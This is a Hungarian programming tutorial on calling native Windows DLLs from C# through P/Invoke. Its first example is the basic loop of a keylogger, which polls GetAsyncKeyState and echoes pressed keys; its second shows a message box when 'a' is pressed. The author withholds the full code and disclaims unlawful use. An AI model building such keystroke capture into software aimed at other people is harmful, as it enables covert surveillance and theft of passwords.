WebElektronika

Natív DLL használata (például keylogger készítése)

person access_time 2017.06.09.
Hogyan tudunk "kilépni" a biztonságos .NET keretkörnyezetből? Hogyan tudunk olyan metódusokat meghívni, amelyek nem részei a .NET keretkörnyezetnek? Két egyszerű példa segítségével megismerjük a natív dll használatának alapjait. Először egy keylogger-nek az alapját fogjuk elkészíteni. Fontos, hogy ez az alkalmazás azért kerül bemutatásra, hogy megismerjük a natív kódok használatának alapjait! Ezért nem közöljük a teljes kódot.


Ha szeretnénk olyan alkalmazásokat készíteni, amelyek használatához "ki kell lépnünk" a .NET biztonságos keretkörnyezetéből, akkor natív DLL-t, DLL-eket kell alkalmazni.

Aki jobban érdeklődik ezután a témakör iránt, annak javasoljuk a pinvoke.net oldalt, ahol olyan metódusok leírásai találhatók meg, amelyek alkalmazásával "kiléphetünk" a .NET Framework-ből.

Az érdekesség kedvéért egy keylogger-nek az alapjait valósítjuk meg.
Fontos, hogy ez a cikk, illetve ez az alkalmazás a pinvoke.net oldalon található metódusok alkalmazását mutatja be, semmilyen szinten nem támogatjuk ennek a programnak a továbbfejlesztését, és annak a törvénybeütköző használatát!

Ahhoz, hogy a keylogger-t meg tudjuk valósítani, szükségünk lesz a GetAsyncKeyState() metódus alkalmazására, amely az user32.dll-ben található meg. Ennek a metódusnak egy rövid leírása a pinvoke.net oldalo itt található meg :

http://pinvoke.net/default.aspx/user32/GetAsyncKeyState.html

És most nézzük meg a mintaalkalmazásunkat!

class Program
    {
        [DllImport("user32.dll")]
        public static extern int GetAsyncKeyState(Int32 i);
        static void Main(string[] args)
        {
            while (true)
            {
                Thread.Sleep(50);
                for (int i = 0; i < 255; i++)
                {
                    int keyState = GetAsyncKeyState(i);

                    if (keyState == 1 || keyState == -32767)
                    {
                        Console.Write(Convert.ToChar(i));
                        break;
                    }
                }
            }
        }
    }

 

Először beimportáljuk a "user32.dll" dll-t, amely tartalmazza az általunk használni kívánt metódust. Ehhez szükséges felvenni a "System.Runtime.InteropServices" szerelvényt. A Main() metódusban található while() végtelen ciklusban először várakozunk 50 ms-ot.
A GetAsyncKeyState() metódust a for ciklusban meghívjuk, amely visszaadja a leütött karaktert, amelyet megjelenítünk a konzolunkon.

A következő programunkban azt figyeljük, hogy leütöttük-e az "a" karaktert. Ha igen, akkor vagy kiírjuk a konzolra, hogy "leütötted az "a" betüt" (ez jelenleg ki van kommentelve), vagy megjelenítjük a szintén a "user32.dll"-ben található MessageBox-ot.

class Program
    {
        [DllImport("user32.dll")]
        public static extern int GetAsyncKeyState(Int32 i);
        [DllImport("user32.dll")]
        public static extern int MessageBox(int handler, string str, string title, int type);
        static void Main(string[] args)
        {
            while (true)
            {
                Thread.Sleep(50);
                
                if (GetAsyncKeyState(65) != 0)
                    //Console.WriteLine("leütötted az \"a\" betüt");
                    MessageBox(0, "szöveg", "title", 0);
            }
        }
    }

 

A while végtelen ciklusban 50 ms-okra felfüggesztjük a főszál működését (tehát 50 ms-ot késleltetünk), és ha megnyomjuk az "a"-t, amelynek az ASCII kódja 65, megjelenítjük a MessageBox-ot a "szöveg" üzenettel.